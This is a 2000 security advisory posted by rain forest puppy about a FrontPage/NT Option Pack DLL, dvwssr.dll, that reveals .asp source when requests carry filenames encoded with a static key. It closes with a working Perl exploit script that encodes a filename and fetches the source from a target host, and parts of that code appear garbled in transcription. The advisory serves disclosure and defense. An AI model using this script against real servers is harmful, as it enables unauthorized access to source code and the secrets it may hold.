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Subject: RFP2K02: "Netscape engineers are weenies!"
From: rain forest puppy (rfpWIRETRIP.NET)
Date: Fri Apr 14 2000 - 07:30:17 CDT


----- UMBRA Advisory RFP2K02 -------------------------- rfp.labs ---------

                    "Netscape engineers are weenies!"
    A back door in Microsoft FrontPage extensions/authoring components

------------------------------------- Alf Serer / alfat.clientlogic.com
                                    - rain forest puppy / rfpwiretrip.net

Table of contents:

-1. The short
-2. The long
-3. The code

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--[ 1. The short

The NT 4 Option Pack ships with a particular ISAPI .dll in
/_vti_bin/_vti_aut/ named dvwssr.dll, which is mixed in with the Microsoft
FrontPage extensions (the version I have is 3.0.2.1105). This particular
.dll allows you to read .asp (and .asa) files under the web root,
providing you know the 'password' (obfuscated encoding scheme) of which to
ask it. And, as implied by the title, the constant key used in the
encoding is "Netscape engineers are weenies!".

I've been told that dvwssr.dll is a component of the NT 4 Option Pack, to
be used with InterDev 1.0. Therefore deleting it will affect InterDev
1.0's 'View Links' function. Also, the default permissions don't allow
for anonymous users to use the .dll--however, anyone with web authoring
can, and I've seen few sites that have allowed permission (which is more
due to a misconfiguration on their part). As Microsoft has told me, the
immediate problem is moreso the fact that any developer of one particular
virtual site can download the .asp code of other virtual sites on the same
system.

--[ 2. The long

In the fairly recent light of Mr. Cuartango's finding of a backdoor in the
authentication of Microsoft installation packages, Microsoft
(securemicrosoft.com actually) stated to Bugtraq that the automatic
acceptance of Microsoft packages is to "improve our customers' experience
while downloading software from Microsoft web sites."

Well, so let me relate how Microsoft has included an ISAPI .dll as part of
the FrontPage extension package/Option Pack/Visual Interdev, to "improve a
hacker's experience while downloading software from your web site".

I was contacted by Alf Serer (alfat.clientlogic.com), who indicated to me
that dvwssr.dll looked like it was a backdoor, and that it contained the
string 'Netscape engineers are weenies!'(although, it's found backwards in
the .dll). Being the curious pup that I am, I decided to take a look.
Using some prior research code attempts at cracking the encoding algorithm
(herein referred to as the 'weenie algorithm'), I used a test ISAPI app
Alf sent to figure out what the hell this thing was for, and what it is
supposed to do. Searches on Microsoft's site said it was to 'verify
URLs'. However, I could not find any references to it elsewhere, and even
decompilation of the various FrontPage extension applications, FrontPage
clients, and Interdev clients yeilded no calls or references to dvwssr.dll
that I could see; however, I was later told that Interdev 1.0 requies this
.dll. Microsoft's site had dvwssr.dll down on the manifest for various
FrontPage packages/installations.

So, taking a peek at the .dll versions, I see that the other ISAPI .dlls
that make up the core of FrontPage extensions are of version 3.0.2.1105,
while dvwssr.dll is only 1.00.00.2503A. I would think that to mean it was
recently introduced into the pack by Microsoft (if you don't know,
FrontPage was an original program developed by Vemeer Technologies Inc;
hence the _vti_ prefixes.) Granted, maybe it's possible that Vemeer
engineers coded dvwssr.dll; but that means, upon acquisition, MS engineers
left it in there. You would think some sort of Q&A and/or audit would
catch it if it already existed...

I'm not going to get into the exact details of the weenie encoding
algorithm--after all, you have the code below. It's basically a 62
character slide-rule type of encoding.

Luckily, from my auditing, this is not included with any other versions of
FrontPage (including Unix), and in the versions I found it on, ACLs
prevented its use (only System and Administrators were allowed full
access); I was told by MS that only individuals with web authoring
permission can use it, which is more than I had originally thought. But
it's not as widespread as, say, RDS. ;)

Regardless of it's actual purpose, or Microsoft's intent, I think the core
interesting issue is that Microsoft literally coded (or allowed) a .dll
who used a static key such as 'Netscape engineers are weenies!'.

In any event, if you don't use Interdev 1.0, you can delete the file and
call it a day. If you do use Interdev 1.0, well, it's your call, but I
suggest an upgrade.

--[ 3. The code

#!/usr/bin/perl
# dvwssr.pl by rain forest puppy (only tested on Linux, as usual)
#
# Usage: dvwssr.pl target_host /file/to/retrieve/source
#
use Socket;

$ip=$ARGV[0];
$file=$ARGV[1];

print "Encoding to: ".encodefilename($file)."\n";
$url="GET /_vti_bin/_vti_aut/dvwssr.dll?".encodefilename($file)." HTTP/1.0\n\n";
print sendraw($url);

sub encodefilename {
my $from=shift;
my $slide="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
#
#

my $key="Netscape engineers are weenies!";

#
#
my $kc=length($from);
my ($fv,$kv,$tmp,$to,$lett);
 letts=split(//,$from);
 foreach $lett (letts){
  $fv=index $slide, $lett;
  $fv=index $slide, (substr $slide,62-$fv,1) if($fv>=0);
  $kv=index $slide, substr $key, $kc, 1;
  if($kv>=0 && $fv>=0){
   $tmp= $kv - $fv;
   if($tmp <0){$tmp +=62;}
   $to.=substr $slide, $tmp,1; } else {
   $to.=$lett;}
  if(++$kc >= length($key)){ $kc=0;}
 }return $to;}

sub sendraw {
        my ($pstr)=_;
        my $target;
        $target= inet_aton($ip) || die("inet_aton problems");
        socket(S,2,1,getprotobyname('tcp')||0) || die("Socket problems\n");
        if(connect(S,pack "SnA4x8",2,80,$target)){
                select(S); $|=1;
                print $pstr; my in=<S>;
                select(STDOUT); close(S);
                return in;
        } else { die("Can't connect...\n"); }}

--[ 4. The End

I know this is short and not with it's usual flare. I apologize...I have
been running around like mad, and basically don't have the time or energy
to expend into this. :/

- rain forest puppy

Special thanks to Alf Serer, the founder of this bug; also, special thanks
to attrition.org (especially McIntyre) for helping me wrangle this. I'm
currently in the UK, so if you have immediate questions, I suggest you
send an email to Alf or the Attrition staff (staffattrition.org).

Catch me, along with Fyodor, Ron Gula, Ken Williams, Theo DeRaadt, Mary
Roesch, and others, at CanSecWest, May 10-12 in Vancouever, Canada. More
info at www.dursec.com.

------------------------------------- Alf Serer / alfat.clientlogic.com
                                    - rain forest puppy / rfpwiretrip.net

      Regardless if Netscape engineers are weenies, Microsoft engineers
                          are definately pompous

----- UMBRA Advisory RFP2K02 -------------------------- rfp.labs ---------

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